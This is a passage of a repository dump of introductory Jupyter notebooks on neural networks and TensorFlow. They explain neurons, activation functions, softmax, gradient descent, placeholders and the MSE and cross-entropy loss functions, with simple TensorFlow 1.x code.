254 | "outputs": [ 255 | { 256 | "name": "stdout", 257 | "output_type": "stream", 258 | "text": [ 259 | "Output: 8.476795196533203\n" 260 | ] 261 | } 262 | ], 263 | "source": [ 264 | "x_data = np.random.randn(4,9)\n", 265 | "w_data = np.random.randn(9,1)\n", 266 | "\n", 267 | "with tf.Session() as sess:\n", 268 | " out_p = sess.run(s, feed_dict={x:x_data, w:w_data})\n", 269 | " \n", 270 | "print('Output: {}'.format(out_p))" 271 | ] 272 | }, 273 | { 274 | "cell_type": "code", 275 | "execution_count": null, 276 | "metadata": { 277 | "collapsed": false, 278 | "deletable": true, 279 | "editable": true 280 | }, 281 | "outputs": [], 282 | "source": [] 283 | }, 284 | { 285 | "cell_type": "code", 286 | "execution_count": null, 287 | "metadata": { 288 | "collapsed": false, 289 | "deletable": true, 290 | "editable": true 291 | }, 292 | "outputs": [], 293 | "source": [] 294 | }, 295 | { 296 | "cell_type": "code", 297 | "execution_count": null, 298 | "metadata": { 299 | "collapsed": true, 300 | "deletable": true, 301 | "editable": true 302 | }, 303 | "outputs": [], 304 | "source": [] 305 | } 306 | ], 307 | "metadata": { 308 | "kernelspec": { 309 | "display_name": "Python 3", 310 | "language": "python", 311 | "name": "python3" 312 | }, 313 | "language_info": { 314 | "codemirror_mode": { 315 | "name": "ipython", 316 | "version": 3 317 | }, 318 | "file_extension": ".py", 319 | "mimetype": "text/x-python", 320 | "name": "python", 321 | "nbconvert_exporter": "python", 322 | "pygments_lexer": "ipython3", 323 | "version": "3.5.0" 324 | } 325 | }, 326 | "nbformat": 4, 327 | "nbformat_minor": 2 328 | } 329 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 9 - Loss Function, MSE, Cross Entropy.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n", 54 | "### Types of Operations:\n", 55 | "\n", 56 | "- Add, Sub, Div, Mul, Log, Exp, etc. (element wise math ops.)\n", 57 | "- on arrays and matrices: Constant, Shape, Split, Concat, Slice, MatMul, etc.\n", 58 | "- Sigmoid, ReLU, Convolution2D, SoftMax, etc.\n", 59 | "- and more" 60 | ] 61 | }, 62 | { 63 | "cell_type": "code", 64 | "execution_count": 1, 65 | "metadata": { 66 | "collapsed": false, 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "outputs": [], 71 | "source": [ 72 | "import tensorflow as tf\n", 73 | "import numpy as np" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 2, 79 | "metadata": { 80 | "collapsed": false, 81 | "deletable": true, 82 | "editable": true 83 | }, 84 | "outputs": [], 85 | "source": [ 86 | "a = tf.constant('Hello')\n", 87 | "b = tf.constant(' World!')\n", 88 | "c = a+b" 89 | ] 90 | }, 91 | { 92 | "cell_type": "code", 93 | "execution_count": 3, 94 | "metadata": { 95 | "collapsed": false, 96 | "deletable": true, 97 | "editable": true 98 | }, 99 | "outputs": [ 100 | { 101 | "name": "stdout", 102 | "output_type": "stream", 103 | "text": [ 104 | "Tensor(\"add:0\", shape=(), dtype=string)\n" 105 | ] 106 | } 107 | ], 108 | "source": [ 109 | "print(c)" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 4, 115 | "metadata": { 116 | "collapsed": false, 117 | "deletable": true, 118 | "editable": true 119 | }, 120 | "outputs": [ 121 | { 122 | "name": "stdout", 123 | "output_type": "stream", 124 | "text": [ 125 | "b'Hello World!'\n" 126 | ] 127 | } 128 | ], 129 | "source": [ 130 | "with tf.Session() as sess: \n", 131 | " runop = sess.run(c)\n", 132 | " \n", 133 | "print(runop)" 134 | ] 135 | }, 136 | { 137 | "cell_type": "code", 138 | "execution_count": 5, 139 | "metadata": { 140 | "collapsed": false, 141 | "deletable": true, 142 | "editable": true 143 | }, 144 | "outputs": [ 145 | { 146 | "name": "stdout", 147 | "output_type": "stream", 148 | "text": [ 149 | "b'Hello World!'\n" 150 | ] 151 | } 152 | ], 153 | "source": [ 154 | "c = tf.add(a,b)\n", 155 | "\n", 156 | "with tf.Session() as sess:\n", 157 | " runop = sess.run(c)\n", 158 | " \n", 159 | "print(runop)" 160 | ] 161 | }, 162 | { 163 | "cell_type": "code", 164 | "execution_count": 6, 165 | "metadata": { 166 | "collapsed": false, 167 | "deletable": true, 168 | "editable": true 169 | }, 170 | "outputs": [ 171 | { 172 | "name": "stdout", 173 | "output_type": "stream", 174 | "text": [ 175 | "[[[ 88 94]\n", 176 | " [214 229]]\n", 177 | "\n", 178 | " [[484 508]\n", 179 | " [642 674]]]\n" 180 | ] 181 | } 182 | ], 183 | "source": [ 184 | "mat_a = tf.constant(np.arange(1,12, dtype=np.int32), shape=[2,2,3])\n", 185 | "mat_b = tf.constant(np.arange(12,24, dtype=np.int32), shape=[2,3,2])\n", 186 | "mul_c = tf.matmul(mat_a, mat_b)\n", 187 | "\n", 188 | "with tf.Session() as sess:\n", 189 | " runop = sess.run(mul_c)\n", 190 | " \n", 191 | "print(runop)" 192 | ] 193 | }, 194 | { 195 | "cell_type": "markdown", 196 | "metadata": { 197 | "collapsed": true, 198 | "deletable": true, 199 | "editable": true 200 | }, 201 | "source": [ 202 | "### A typical TensorFlow project:\n", 203 | "\n", 204 | "- (1). constructing the graph: tf.constant, tf.placeholder, tf.variable, tf.nn.sigmoid, tf.matmul, etc.\n", 205 | "- (2). executing the graph (within a session)\n", 206 | "- use tensorboard for visualization.\n", 207 | "\n", 208 | "### Placeholders:\n", 209 | "\n", 210 | "- allow for reusability\n", 211 | "- can be populated with different data every time you run the graph (feed_dict)" 212 | ] 213 | }, 214 | { 215 | "cell_type": "code", 216 | "execution_count": 8, 217 | "metadata": { 218 | "collapsed": false, 219 | "deletable": true, 220 | "editable": true 221 | }, 222 | "outputs": [], 223 | "source": [ 224 | "#with tf.Session() as sess:\n", 225 | "# sess.run(ops)\n", 226 | "# sess.close()" 227 | ] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": 9, 232 | "metadata": { 233 | "collapsed": true, 234 | "deletable": true, 235 | "editable": true 236 | }, 237 | "outputs": [], 238 | "source": [ 239 | "x = tf.placeholder(tf.float32, name='X', shape=(4,9))\n", 240 | "w = tf.placeholder(tf.float32, name='W', shape=(9,1))\n", 241 | "b = tf.fill((4,1), -1., name='bias')\n", 242 | "y = tf.matmul(x,w)+b\n", 243 | "s = tf.reduce_max(y)" 244 | ] 245 | }, 246 | { 247 | "cell_type": "code", 248 | "execution_count": 10, 249 | "metadata": { 250 | "collapsed": false, 251 | "deletable": true, 252 | "editable": true 253 | }, 254 | "outputs": [ 255 | { 256 | "name": "stdout", 257 | "output_type": "stream", 258 | "text": [ 259 | "Output: -0.04352813959121704\n" 260 | ] 261 | } 262 | ], 263 | "source": [ 264 | "x_data = np.random.randn(4,9)\n", 265 | "w_data = np.random.randn(9,1)\n", 266 | "\n", 267 | "with tf.Session() as sess:\n", 268 | " out_p = sess.run(s, feed_dict={x:x_data, w:w_data})\n", 269 | " \n", 270 | "print('Output: {}'.format(out_p))" 271 | ] 272 | }, 273 | { 274 | "cell_type": "markdown", 275 | "metadata": { 276 | "collapsed": false, 277 | "deletable": true, 278 | "editable": true 279 | }, 280 | "source": [ 281 | "### Optimization\n", 282 | "\n", 283 | "- purpose of a typical project: learn associations between features and labels.\n", 284 | "\n", 285 | "###
$f(x_{i}) = w^{T}x_{i} + b$
\n", 286 | "###
$y_{i} = f(x_{i}) + \\varepsilon_{i}$
\n", 287 | "\n", 288 | "- **Loss Function**: how far the model is from the truth.\n", 289 | "- train the model to minimize loss (adjusting the parameters).\n", 290 | "- **MSE (Mean Squared Error)** - averages square distances (y_true, y_pred):\n", 291 | "\n", 292 | "##
$L(y, \\hat y) = \\frac{1}{n}\\ ∑_{i=1}^{n}(y_{i}-\\hat y_{i})^{2}$
\n", 293 | "\n", 294 | "- **Cross Entropy** - similarity between distributions:\n", 295 | "\n", 296 | "##
$H(p,q)=-∑_{x}p(x)logq(x)$
" 297 | ] 298 | }, 299 | { 300 | "cell_type": "code", 301 | "execution_count": 15, 302 | "metadata": { 303 | "collapsed": false, 304 | "deletable": true, 305 | "editable": true 306 | }, 307 | "outputs": [], 308 | "source": [ 309 | "# X, Y, W, b\n", 310 | "\n", 311 | "x = tf.placeholder(tf.float32, shape=[None, 3])\n", 312 | "y_true = tf.placeholder(tf.float32, shape=None)\n", 313 | "w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 314 | "b = tf.Variable(0, dtype=tf.float32, name='b')\n", 315 | "\n", 316 | "# Output\n", 317 | "\n", 318 | "y_pred = tf.matmul(w, tf.transpose(x))+b" 319 | ] 320 | }, 321 | { 322 | "cell_type": "code", 323 | "execution_count": 16, 324 | "metadata": { 325 | "collapsed": false, 326 | "deletable": true, 327 | "editable": true 328 | }, 329 | "outputs": [], 330 | "source": [ 331 | "# MSE (Mean Squared Error)\n", 332 | "\n", 333 | "loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 334 | "\n", 335 | "# Cross Entropy\n", 336 | "\n", 337 | "loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 338 | "loss = tf.reduce_mean(loss)" 339 | ] 340 | }, 341 | { 342 | "cell_type": "code", 343 | "execution_count": null, 344 | "metadata": { 345 | "collapsed": true 346 | }, 347 | "outputs": [], 348 | "source": [] 349 | }, 350 | { 351 | "cell_type": "code", 352 | "execution_count": null, 353 | "metadata": { 354 | "collapsed": true 355 | }, 356 | "outputs": [], 357 | "source": [] 358 | }, 359 | { 360 | "cell_type": "code", 361 | "execution_count": null, 362 | "metadata": { 363 | "collapsed": true 364 | }, 365 | "outputs": [], 366 | "source": [] 367 | } 368 | ], 369 | "metadata": { 370 | "kernelspec": { 371 | "display_name": "Python 3", 372 | "language": "python", 373 | "name": "python3" 374 | }, 375 | "language_info": { 376 | "codemirror_mode": { 377 | "name": "ipython", 378 | "version": 3 379 | }, 380 | "file_extension": ".py", 381 | "mimetype": "text/x-python", 382 | "name": "python", 383 | "nbconvert_exporter": "python", 384 | "pygments_lexer": "ipython3", 385 | "version": "3.5.0" 386 | } 387 | }, 388 | "nbformat": 4, 389 | "nbformat_minor": 2 390 | } 391 | -------------------------------------------------------------------------------- /Neural Networks and Tensorflow - 1 - Artificial Neurons.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
Neural Networks and Tensorflow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "deletable": true, 17 | "editable": true 18 | }, 19 | "source": [ 20 | "## 1. Artificial Neurons\n", 21 | "\n", 22 | "###

Biological Neuron

\n", 23 | "\n", 24 | "![](bioneuron.png)\n", 25 | "\n", 26 | "*

Adapted from BruceBlaus (Own work) [CC BY 3.0] via Wikimedia Commons

*\n", 27 | "\n", 28 | "###

Artificial Neuron

\n", 29 | "\n", 30 | "![](artifneuron.png)\n", 31 | "\n", 32 | "*

By Chrislb (created by Chrislb) [GFDL or CC-BY-SA-3.0], via Wikimedia Commons via Wikimedia Commons

*\n", 33 | "\n", 34 | "###

z = ∑i wi*xi

\n", 35 | "\n", 36 | "#### The output is a function of z:\n", 37 | "\n", 38 | "###

y = f(z)

" 39 | ] 40 | }, 41 | { 42 | "cell_type": "markdown", 43 | "metadata": { 44 | "deletable": true, 45 | "editable": true 46 | }, 47 | "source": [ 48 | "### Output:\n", 49 | "\n", 50 | "##

y = f(X*W+b)

" 51 | ] 52 | }, 53 | { 54 | "cell_type": "code", 55 | "execution_count": null, 56 | "metadata": { 57 | "collapsed": true, 58 | "deletable": true, 59 | "editable": true 60 | }, 61 | "outputs": [], 62 | "source": [] 63 | } 64 | ], 65 | "metadata": { 66 | "kernelspec": { 67 | "display_name": "Python 3", 68 | "language": "python", 69 | "name": "python3" 70 | }, 71 | "language_info": { 72 | "codemirror_mode": { 73 | "name": "ipython", 74 | "version": 3 75 | }, 76 | "file_extension": ".py", 77 | "mimetype": "text/x-python", 78 | "name": "python", 79 | "nbconvert_exporter": "python", 80 | "pygments_lexer": "ipython3", 81 | "version": "3.5.0" 82 | } 83 | }, 84 | "nbformat": 4, 85 | "nbformat_minor": 2 86 | } 87 | -------------------------------------------------------------------------------- /Neural Networks and Tensorflow - 2 - Feed Forward Networks and Activations.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
Neural Networks and Tensorflow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "deletable": true, 17 | "editable": true 18 | }, 19 | "source": [ 20 | "## 1. Artificial Neurons\n", 21 | "\n", 22 | "###

Biological Neuron

\n", 23 | "\n", 24 | "![](bioneuron.png)\n", 25 | "\n", 26 | "*

Adapted from BruceBlaus (Own work) [CC BY 3.0] via Wikimedia Commons

*\n", 27 | "\n", 28 | "###

Artificial Neuron

\n", 29 | "\n", 30 | "![](artifneuron.png)\n", 31 | "\n", 32 | "*

By Chrislb (created by Chrislb) [GFDL or CC-BY-SA-3.0], via Wikimedia Commons

*\n", 33 | "\n", 34 | "###

$z = ∑wi*xi$

\n", 35 | "\n", 36 | "#### The output is a function of z:\n", 37 | "\n", 38 | "###

$y = f(z)$

" 39 | ] 40 | }, 41 | { 42 | "cell_type": "markdown", 43 | "metadata": { 44 | "deletable": true, 45 | "editable": true 46 | }, 47 | "source": [ 48 | "### Output:\n", 49 | "\n", 50 | "##

$y = f(X*W+b)$

" 51 | ] 52 | }, 53 | { 54 | "cell_type": "markdown", 55 | "metadata": { 56 | "collapsed": true, 57 | "deletable": true, 58 | "editable": true 59 | }, 60 | "source": [ 61 | "## 2. Feed Forward Neural Networks" 62 | ] 63 | }, 64 | { 65 | "cell_type": "markdown", 66 | "metadata": { 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "source": [ 71 | "![](2layerann.png)\n", 72 | "\n", 73 | "*

By Mcstrother (Own work) [CC BY 3.0], via Wikimedia Commons

*" 74 | ] 75 | }, 76 | { 77 | "cell_type": "markdown", 78 | "metadata": { 79 | "deletable": true, 80 | "editable": true 81 | }, 82 | "source": [ 83 | "### 2.1. The Sigmoid Function \n", 84 | "\n", 85 | "![](sigmoid.png)\n", 86 | "*

By MartinThoma (Own work) [CC0], via Wikimedia Commons

*\n", 87 | "\n", 88 | "##

$f(z) = \\frac{1}{1+e^{-z}}$

" 89 | ] 90 | }, 91 | { 92 | "cell_type": "markdown", 93 | "metadata": { 94 | "deletable": true, 95 | "editable": true 96 | }, 97 | "source": [ 98 | "### 2.2. The Hyperbolic Tangent\n", 99 | "\n", 100 | "![](tanh.png)\n", 101 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 102 | "\n", 103 | "##

$f(z) = tanh(z)$

\n", 104 | "##

$f(z) = \\frac{2}{1+e^{-2z}} - 1$

" 105 | ] 106 | }, 107 | { 108 | "cell_type": "markdown", 109 | "metadata": { 110 | "deletable": true, 111 | "editable": true 112 | }, 113 | "source": [ 114 | "### 2.3. The Rectified Linear Unit (ReLU)\n", 115 | "\n", 116 | "![](relu.png)\n", 117 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 118 | "\n", 119 | "##

$f(z) = max(0,z)$

" 120 | ] 121 | }, 122 | { 123 | "cell_type": "code", 124 | "execution_count": null, 125 | "metadata": { 126 | "collapsed": true, 127 | "deletable": true, 128 | "editable": true 129 | }, 130 | "outputs": [], 131 | "source": [] 132 | }, 133 | { 134 | "cell_type": "code", 135 | "execution_count": null, 136 | "metadata": { 137 | "collapsed": true, 138 | "deletable": true, 139 | "editable": true 140 | }, 141 | "outputs": [], 142 | "source": [] 143 | }, 144 | { 145 | "cell_type": "code", 146 | "execution_count": null, 147 | "metadata": { 148 | "collapsed": true 149 | }, 150 | "outputs": [], 151 | "source": [] 152 | }, 153 | { 154 | "cell_type": "code", 155 | "execution_count": null, 156 | "metadata": { 157 | "collapsed": true 158 | }, 159 | "outputs": [], 160 | "source": [] 161 | } 162 | ], 163 | "metadata": { 164 | "kernelspec": { 165 | "display_name": "Python 3", 166 | "language": "python", 167 | "name": "python3" 168 | }, 169 | "language_info": { 170 | "codemirror_mode": { 171 | "name": "ipython", 172 | "version": 3 173 | }, 174 | "file_extension": ".py", 175 | "mimetype": "text/x-python", 176 | "name": "python", 177 | "nbconvert_exporter": "python", 178 | "pygments_lexer": "ipython3", 179 | "version": "3.5.0" 180 | } 181 | }, 182 | "nbformat": 4, 183 | "nbformat_minor": 2 184 | } 185 | -------------------------------------------------------------------------------- /Neural Networks and Tensorflow - 3 - Softmax Output.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
Neural Networks and Tensorflow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "deletable": true, 17 | "editable": true 18 | }, 19 | "source": [ 20 | "## 1. Artificial Neurons\n", 21 | "\n", 22 | "###

Biological Neuron

\n", 23 | "\n", 24 | "![](bioneuron.png)\n", 25 | "\n", 26 | "*

Adapted from BruceBlaus (Own work) [CC BY 3.0] via Wikimedia Commons

*\n", 27 | "\n", 28 | "###

Artificial Neuron

\n", 29 | "\n", 30 | "![](artifneuron.png)\n", 31 | "\n", 32 | "*

By Chrislb (created by Chrislb) [GFDL or CC-BY-SA-3.0], via Wikimedia Commons

*\n", 33 | "\n", 34 | "###

$z = ∑wi*xi$

\n", 35 | "\n", 36 | "#### The output is a function of z:\n", 37 | "\n", 38 | "###

$y = f(z)$

" 39 | ] 40 | }, 41 | { 42 | "cell_type": "markdown", 43 | "metadata": { 44 | "deletable": true, 45 | "editable": true 46 | }, 47 | "source": [ 48 | "### Output:\n", 49 | "\n", 50 | "##

$y = f(X*W+b)$

" 51 | ] 52 | }, 53 | { 54 | "cell_type": "markdown", 55 | "metadata": { 56 | "collapsed": true, 57 | "deletable": true, 58 | "editable": true 59 | }, 60 | "source": [ 61 | "## 2. Feed Forward Neural Networks" 62 | ] 63 | }, 64 | { 65 | "cell_type": "markdown", 66 | "metadata": { 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "source": [ 71 | "![](2layerann.png)\n", 72 | "\n", 73 | "*

By Mcstrother (Own work) [CC BY 3.0], via Wikimedia Commons

*" 74 | ] 75 | }, 76 | { 77 | "cell_type": "markdown", 78 | "metadata": { 79 | "deletable": true, 80 | "editable": true 81 | }, 82 | "source": [ 83 | "### 2.1. The Sigmoid Function \n", 84 | "\n", 85 | "![](sigmoid.png)\n", 86 | "*

By MartinThoma (Own work) [CC0], via Wikimedia Commons

*\n", 87 | "\n", 88 | "##

$f(z) = \\frac{1}{1+e^{-z}}$

" 89 | ] 90 | }, 91 | { 92 | "cell_type": "markdown", 93 | "metadata": { 94 | "deletable": true, 95 | "editable": true 96 | }, 97 | "source": [ 98 | "### 2.2. The Hyperbolic Tangent\n", 99 | "\n", 100 | "![](tanh.png)\n", 101 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 102 | "\n", 103 | "##

$f(z) = tanh(z)$

\n", 104 | "##

$f(z) = \\frac{2}{1+e^{-2z}} - 1$

" 105 | ] 106 | }, 107 | { 108 | "cell_type": "markdown", 109 | "metadata": { 110 | "deletable": true, 111 | "editable": true 112 | }, 113 | "source": [ 114 | "### 2.3. The Rectified Linear Unit (ReLU)\n", 115 | "\n", 116 | "![](relu.png)\n", 117 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 118 | "\n", 119 | "##

$f(z) = max(0,z)$

" 120 | ] 121 | }, 122 | { 123 | "cell_type": "markdown", 124 | "metadata": { 125 | "collapsed": true, 126 | "deletable": true, 127 | "editable": true 128 | }, 129 | "source": [ 130 | "## 3. Softmax Output\n", 131 | "\n", 132 | "![](softmax.png)\n", 133 | "*

By Lizhongzheng (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 134 | "\n", 135 | "##

$\\sum_{i=0}^{9} p_i = 1$

\n", 136 | "\n", 137 | "##

$\\hat y = \\Big[$ p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 $\\Big]$

\n", 138 | "\n", 139 | "- probability distribution - how confident am I of this prediction?\n", 140 | "- neurons in the softmax layer are interdependent" 141 | ] 142 | }, 143 | { 144 | "cell_type": "code", 145 | "execution_count": null, 146 | "metadata": { 147 | "collapsed": true, 148 | "deletable": true, 149 | "editable": true 150 | }, 151 | "outputs": [], 152 | "source": [] 153 | }, 154 | { 155 | "cell_type": "code", 156 | "execution_count": null, 157 | "metadata": { 158 | "collapsed": true, 159 | "deletable": true, 160 | "editable": true 161 | }, 162 | "outputs": [], 163 | "source": [] 164 | }, 165 | { 166 | "cell_type": "code", 167 | "execution_count": null, 168 | "metadata": { 169 | "collapsed": true, 170 | "deletable": true, 171 | "editable": true 172 | }, 173 | "outputs": [], 174 | "source": [] 175 | } 176 | ], 177 | "metadata": { 178 | "kernelspec": { 179 | "display_name": "Python 3", 180 | "language": "python", 181 | "name": "python3" 182 | }, 183 | "language_info": { 184 | "codemirror_mode": { 185 | "name": "ipython", 186 | "version": 3 187 | }, 188 | "file_extension": ".py", 189 | "mimetype": "text/x-python", 190 | "name": "python", 191 | "nbconvert_exporter": "python", 192 | "pygments_lexer": "ipython3", 193 | "version": "3.5.0" 194 | } 195 | }, 196 | "nbformat": 4, 197 | "nbformat_minor": 2 198 | } 199 | -------------------------------------------------------------------------------- /Neural Networks and Tensorflow - 4 - Gradient Descent.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
Neural Networks and Tensorflow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "deletable": true, 17 | "editable": true 18 | }, 19 | "source": [ 20 | "## 1. Artificial Neurons\n", 21 | "\n", 22 | "###

Biological Neuron

\n", 23 | "\n", 24 | "![](bioneuron.png)\n", 25 | "\n", 26 | "*

Adapted from BruceBlaus (Own work) [CC BY 3.0] via Wikimedia Commons

*\n", 27 | "\n", 28 | "###

Artificial Neuron

\n", 29 | "\n", 30 | "![](artifneuron.png)\n", 31 | "\n", 32 | "*

By Chrislb (created by Chrislb) [GFDL or CC-BY-SA-3.0], via Wikimedia Commons

*\n", 33 | "\n", 34 | "###

$z = ∑wi*xi$

\n", 35 | "\n", 36 | "#### The output is a function of z:\n", 37 | "\n", 38 | "###

$y = f(z)$

" 39 | ] 40 | }, 41 | { 42 | "cell_type": "markdown", 43 | "metadata": { 44 | "deletable": true, 45 | "editable": true 46 | }, 47 | "source": [ 48 | "### Output:\n", 49 | "\n", 50 | "##

$y = f(X*W+b)$

" 51 | ] 52 | }, 53 | { 54 | "cell_type": "markdown", 55 | "metadata": { 56 | "collapsed": true, 57 | "deletable": true, 58 | "editable": true 59 | }, 60 | "source": [ 61 | "## 2. Feed Forward Neural Networks" 62 | ] 63 | }, 64 | { 65 | "cell_type": "markdown", 66 | "metadata": { 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "source": [ 71 | "![](2layerann.png)\n", 72 | "\n", 73 | "*

By Mcstrother (Own work) [CC BY 3.0], via Wikimedia Commons

*" 74 | ] 75 | }, 76 | { 77 | "cell_type": "markdown", 78 | "metadata": { 79 | "deletable": true, 80 | "editable": true 81 | }, 82 | "source": [ 83 | "### 2.1. The Sigmoid Function \n", 84 | "\n", 85 | "![](sigmoid.png)\n", 86 | "*

By MartinThoma (Own work) [CC0], via Wikimedia Commons

*\n", 87 | "\n", 88 | "##

$f(z) = \\frac{1}{1+e^{-z}}$

" 89 | ] 90 | }, 91 | { 92 | "cell_type": "markdown", 93 | "metadata": { 94 | "deletable": true, 95 | "editable": true 96 | }, 97 | "source": [ 98 | "### 2.2. The Hyperbolic Tangent\n", 99 | "\n", 100 | "![](tanh.png)\n", 101 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 102 | "\n", 103 | "##

$f(z) = tanh(z)$

\n", 104 | "##

$f(z) = \\frac{2}{1+e^{-2z}} - 1$

" 105 | ] 106 | }, 107 | { 108 | "cell_type": "markdown", 109 | "metadata": { 110 | "deletable": true, 111 | "editable": true 112 | }, 113 | "source": [ 114 | "### 2.3. The Rectified Linear Unit (ReLU)\n", 115 | "\n", 116 | "![](relu.png)\n", 117 | "*

By Laughsinthestocks (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 118 | "\n", 119 | "##

$f(z) = max(0,z)$

" 120 | ] 121 | }, 122 | { 123 | "cell_type": "markdown", 124 | "metadata": { 125 | "collapsed": true, 126 | "deletable": true, 127 | "editable": true 128 | }, 129 | "source": [ 130 | "## 3. Softmax Output\n", 131 | "\n", 132 | "![](softmax.png)\n", 133 | "*

By Lizhongzheng (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 134 | "\n", 135 | "##

$\\sum_{i=0}^{9} p_i = 1$

\n", 136 | "\n", 137 | "##

$\\hat y = \\Big[$ p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 $\\Big]$

\n", 138 | "\n", 139 | "- probability distribution - how confident am I of this prediction?\n", 140 | "- neurons in the softmax layer are interdependent" 141 | ] 142 | }, 143 | { 144 | "cell_type": "markdown", 145 | "metadata": { 146 | "collapsed": true, 147 | "deletable": true, 148 | "editable": true 149 | }, 150 | "source": [ 151 | "## 4. Gradient Descent\n", 152 | "\n", 153 | "![](grdesc.png)\n", 154 | "*

By Olegalexandrov and Zerodamage [Public domain], via Wikimedia Commons

*\n", 155 | "\n", 156 | "- purpose of training a neural net: determine the best weights\n", 157 | "- Gradient Descent: find the minimum of a function\n", 158 | "- in math - gradient is a generalization of the derivative\n", 159 | "\n", 160 | "- derivative - function of a variable\n", 161 | "- gradient - function of a set of variables\n", 162 | "\n", 163 | "![](mountain.jpg)" 164 | ] 165 | }, 166 | { 167 | "cell_type": "markdown", 168 | "metadata": { 169 | "collapsed": true, 170 | "deletable": true, 171 | "editable": true 172 | }, 173 | "source": [ 174 | "*\"You need a some kind of heuristic to find the correct way. One of the best choice and the simplest one is to check the decline rate by single step for each possible direction and choose the most steepest one.\"*\n", 175 | "\n", 176 | "

(Eren Golge https://www.quora.com/What-is-an-intuitive-explanation-of-gradient-descent)

\n", 177 | "\n", 178 | "- learning rate - too small or too high might be problematic\n", 179 | "\n", 180 | "![](grdesc2.jpeg)\n", 181 | "\n", 182 | "*

GD with small and large learning rates. By Andrew Ng’s via ML course on Coursera

*" 183 | ] 184 | }, 185 | { 186 | "cell_type": "markdown", 187 | "metadata": { 188 | "collapsed": true, 189 | "deletable": true, 190 | "editable": true 191 | }, 192 | "source": [ 193 | "### 4.1. Steps with GD:\n", 194 | "\n", 195 | "- (1). Random initialization of weights. Find the gradient at current position.\n", 196 | "- (2). Take a step in the direction of the steepest descent.\n", 197 | "- (3). Determine the gradient at this new position. Take a step in the direction of the steepest descent. \n", 198 | "- (4). Repeat until arriving at the point of the minimum error.\n", 199 | "\n", 200 | "\n", 201 | "- Variations of GD: batch GD, stochastic GD (SGD), mini-batch GD.\n", 202 | "- Optimizations: Momentum, RMSprop, Adam, etc." 203 | ] 204 | }, 205 | { 206 | "cell_type": "code", 207 | "execution_count": null, 208 | "metadata": { 209 | "collapsed": true, 210 | "deletable": true, 211 | "editable": true 212 | }, 213 | "outputs": [], 214 | "source": [] 215 | }, 216 | { 217 | "cell_type": "code", 218 | "execution_count": null, 219 | "metadata": { 220 | "collapsed": true, 221 | "deletable": true, 222 | "editable": true 223 | }, 224 | "outputs": [], 225 | "source": [] 226 | }, 227 | { 228 | "cell_type": "code", 229 | "execution_count": null, 230 | "metadata": { 231 | "collapsed": true, 232 | "deletable": true, 233 | "editable": true 234 | }, 235 | "outputs": [], 